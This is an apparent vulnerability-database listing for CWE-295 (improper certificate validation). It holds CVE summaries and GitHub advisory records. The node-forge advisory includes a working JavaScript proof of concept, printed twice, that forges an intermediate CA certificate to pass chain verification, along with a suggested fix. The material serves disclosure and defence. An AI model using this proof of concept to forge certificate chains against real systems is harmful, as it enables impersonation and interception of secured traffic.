Common Weakness Enumeration

CWE-295

Allowed

Improper Certificate Validation

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not validate, or incorrectly validates, a certificate.

1908 vulnerabilities reference this CWE, most recent first.

CVE-2017-2623 (GCVE-0-2017-2623)

Vulnerability from cvelistv5 – Published: 2018-07-27 18:00 – Updated: 2024-08-05 14:02
VLAI
Summary
It was discovered that rpm-ostree and rpm-ostree-client before 2017.3 fail to properly check GPG signatures on packages when doing layering. Packages with unsigned or badly signed content could fail to be rejected as expected. This issue is partially mitigated on RHEL Atomic Host, where certificate pinning is used by default.
Severity
5.3 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
CWE
Assigner
References
URL Tags
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2… x_refsource_CONFIRM
https://access.redhat.com/errata/RHSA-2017:0444 vendor-advisoryx_refsource_REDHAT
http://www.securityfocus.com/bid/96558 vdb-entryx_refsource_BID
Impacted products
Date Public
2018-07-27 00:00
Show details on NVD website
To clipboard 

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CVE-2016-10534 (GCVE-0-2016-10534)

Vulnerability from cvelistv5 – Published: 2018-05-31 20:00 – Updated: 2024-09-17 02:37
VLAI
Summary
electron-packager is a command line tool that packages Electron source code into `.app` and `.exe` packages. along with Electron. The `--strict-ssl` command line option in electron-packager >= 5.2.1 <= 6.0.0 || >=6.0.0 <= 6.0.2 defaults to false if not explicitly set to true. This could allow an attacker to perform a man in the middle attack.
Severity
No CVSS data available.
CWE
  • CWE-295 - Improper Certificate Validation (CWE-295)
Assigner
References
Impacted products
Vendor Product Version
HackerOne electron-packager node module Affected: >= 5.2.1 <= 6.0.0 || >=6.0.0 <= 6.0.2
Create a notification for this product.
Date Public
2018-04-26 00:00
Show details on NVD website
To clipboard 

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CVE-2016-7075 (GCVE-0-2016-7075)

Vulnerability from cvelistv5 – Published: 2018-09-10 14:00 – Updated: 2024-08-06 01:50
VLAI
Summary
It was found that Kubernetes as used by Openshift Enterprise 3 did not correctly validate X.509 client intermediate certificate host name fields. An attacker could use this flaw to bypass authentication requirements by using a specially crafted X.509 certificate.
Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE
Assigner
References
Impacted products
Vendor Product Version
Red Hat OpenShift Affected: n/a
Create a notification for this product.
Date Public
2016-10-10 00:00
Show details on NVD website
To clipboard 

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CVE-2016-6562 (GCVE-0-2016-6562)

Vulnerability from cvelistv5 – Published: 2018-07-13 20:00 – Updated: 2024-08-06 01:36
VLAI
Title
ShoreTel Mobility Client for iOS and Android, version 9.1.3.109 and earlier, fails to properly validate SSL certificates provided by HTTPS connections
Summary
On iOS and Android devices, the ShoreTel Mobility Client app version 9.1.3.109 fails to properly validate SSL certificates provided by HTTPS connections, which means that an attacker in the position to perform MITM attacks may be able to obtain sensitive account information such as login credentials.
Severity
No CVSS data available.
CWE
Assigner
References
URL Tags
https://www.info-sec.ca/advisories/ShoreTel-Mobil… x_refsource_MISC
https://www.kb.cert.org/vuls/id/475907 third-party-advisoryx_refsource_CERT-VN
https://www.securityfocus.com/bid/95224 vdb-entryx_refsource_BID
Impacted products
Vendor Product Version
ShoreTel Mobility Client iOS Affected: 9.1.3.109 , ≤ 9.1.3.109 (custom)
Create a notification for this product.
ShoreTel Mobility Client Andoid Affected: 9.1.3.109 , ≤ 9.1.3.109 (custom)
Create a notification for this product.
Date Public
2017-01-03 00:00
Show details on NVD website
To clipboard 

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CVE-2014-8164 (GCVE-0-2014-8164)

Vulnerability from cvelistv5 – Published: 2022-07-06 19:06 – Updated: 2024-08-06 13:10
VLAI
Summary
A insecure configuration for certificate verification (http.verify_mode = OpenSSL::SSL::VERIFY_NONE) may lead to verification bypass in Red Hat CloudForms 5.x.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
n/a Red Hat CloudForms Affected: Red Hat CloudForms 5.x
Show details on NVD website
To clipboard 

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CVE-2013-10001 (GCVE-0-2013-10001)

Vulnerability from cvelistv5 – Published: 2022-05-17 07:30 – Updated: 2025-04-15 14:40
VLAI
Title
HTC One/Sense Mail Client certificate validation
Summary
A vulnerability was found in HTC One/Sense 4.x. It has been rated as problematic. Affected by this issue is the certification validation of the mail client. An exploit has been disclosed to the public and may be used.
Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-295 - Improper Certificate Validation
Assigner
References
Impacted products
Credits
Max Moser/Martin Schobert
Show details on NVD website
To clipboard 

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CVE-2012-0955 (GCVE-0-2012-0955)

Vulnerability from cvelistv5 – Published: 2020-12-02 00:50 – Updated: 2024-09-16 17:14
VLAI
Title
software-properties incorrectly validated TLS certificates
Summary
software-properties was vulnerable to a person-in-the-middle attack due to incorrect TLS certificate validation in softwareproperties/ppa.py. software-properties didn't check TLS certificates under python2 and only checked certificates under python3 if a valid certificate bundle was provided. Fixed in software-properties version 0.92.
Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE
  • CWE-295 - Improper Certificate Validation
Assigner
References
URL Tags
https://launchpad.net/bugs/1036839 vendor-advisoryx_refsource_UBUNTU
https://code.launchpad.net/~cyphermox/software-pr… vendor-advisoryx_refsource_UBUNTU
Impacted products
Vendor Product Version
Canonical software-properties Affected: 0.92 , < 0.92 (custom)
Create a notification for this product.
Date Public
2012-08-14 00:00
Credits
Marc Deslauriers
Show details on NVD website
To clipboard 

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CVE-2007-5967 (GCVE-0-2007-5967)

Vulnerability from cvelistv5 – Published: 2021-05-17 11:50 – Updated: 2024-08-07 15:47
VLAI
Summary
A flaw in Mozilla's embedded certificate code might allow web sites to install root certificates on devices without user approval.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
n/a Mozilla Firefox Affected: unknown
Show details on NVD website
To clipboard 

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            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "Mozilla Firefox",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "unknown"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "A flaw in Mozilla\u0027s embedded certificate code might allow web sites to install root certificates on devices without user approval."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-295"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://bugzilla-dev.allizom.org/show_bug.cgi?id=406724",
              "refsource": "MISC",
              "url": "https://bugzilla-dev.allizom.org/show_bug.cgi?id=406724"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2007-5967",
    "datePublished": "2021-05-17T11:50:13.000Z",
    "dateReserved": "2007-11-14T00:00:00.000Z",
    "dateUpdated": "2024-08-07T15:47:00.630Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-22QW-G2HG-Q8W6

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12
VLAI
Details

The mechanism which performs certificate validation was discovered to have a flaw that resulted in certificates signed by an internal certificate authority to not be properly validated. This issue only affects clients that are configured to utilize Tenable.sc as the vulnerability data source.

Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-27018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-30T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The mechanism which performs certificate validation was discovered to have a flaw that resulted in certificates signed by an internal certificate authority to not be properly validated. This issue only affects clients that are configured to utilize Tenable.sc as the vulnerability data source.",
  "id": "GHSA-22qw-g2hg-q8w6",
  "modified": "2022-05-24T19:12:29Z",
  "published": "2022-05-24T19:12:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27018"
    },
    {
      "type": "WEB",
      "url": "https://puppet.com/security/cve/CVE-2021-27018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2328-F5F3-GJ25

Vulnerability from github – Published: 2026-03-26 22:05 – Updated: 2026-03-27 21:51
VLAI
Summary
Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)
Details

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results: - Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280) - Certificate with basicConstraints.cA=false: correctly rejected - Certificate with keyUsage (no keyCertSign): correctly rejected - Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as: - CVE-2014-0092 (GnuTLS) — certificate verification bypass - CVE-2015-1793 (OpenSSL) — alternative chain verification bypass - CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

  • 2026-03-10: Report submitted via GitHub Security Advisory
  • 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33896"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:05:43Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require(\u0027node-forge\u0027);\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log(\u0027=== node-forge basicConstraints Bypass PoC ===\\n\u0027);\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = \u002701\u0027;\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Legitimate Root CA\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: \u0027basicConstraints\u0027, cA: true, critical: true },\n  { name: \u0027keyUsage\u0027, keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root \u2014 NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = \u002702\u0027;\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027Non-CA Leaf Certificate\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027PoC Security Test\u0027 }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension \u2014 NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = \u002703\u0027;\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: \u0027commonName\u0027, value: \u0027victim.example.com\u0027 },\n  { name: \u0027organizationName\u0027, value: \u0027Victim Corp\u0027 }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log(\u0027[VULNERABLE] Chain verification SUCCEEDED: \u0027 + result);\n  console.log(\u0027  node-forge accepted a non-CA certificate as an intermediate CA!\u0027);\n  console.log(\u0027  This violates RFC 5280 Section 6.1.4.\u0027);\n} catch (e) {\n  console.log(\u0027[SECURE] Chain verification FAILED (expected): \u0027 + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable \u2014 violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge\u0027s `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) \u2014 certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) \u2014 alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) \u2014 crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization \u2014 different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow \u2014 different issue class)\n- GitHub issue #1049 (null subject/issuer \u2014 different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: \u0027Certificate is missing basicConstraints extension and cannot be used as a CA.\u0027,\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) \u2014 [doruk.ch](https://doruk.ch)",
  "id": "GHSA-2328-f5f3-gj25",
  "modified": "2026-03-27T21:51:17Z",
  "published": "2026-03-26T22:05:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}
Mitigation
Architecture and Design Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Mitigation
Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

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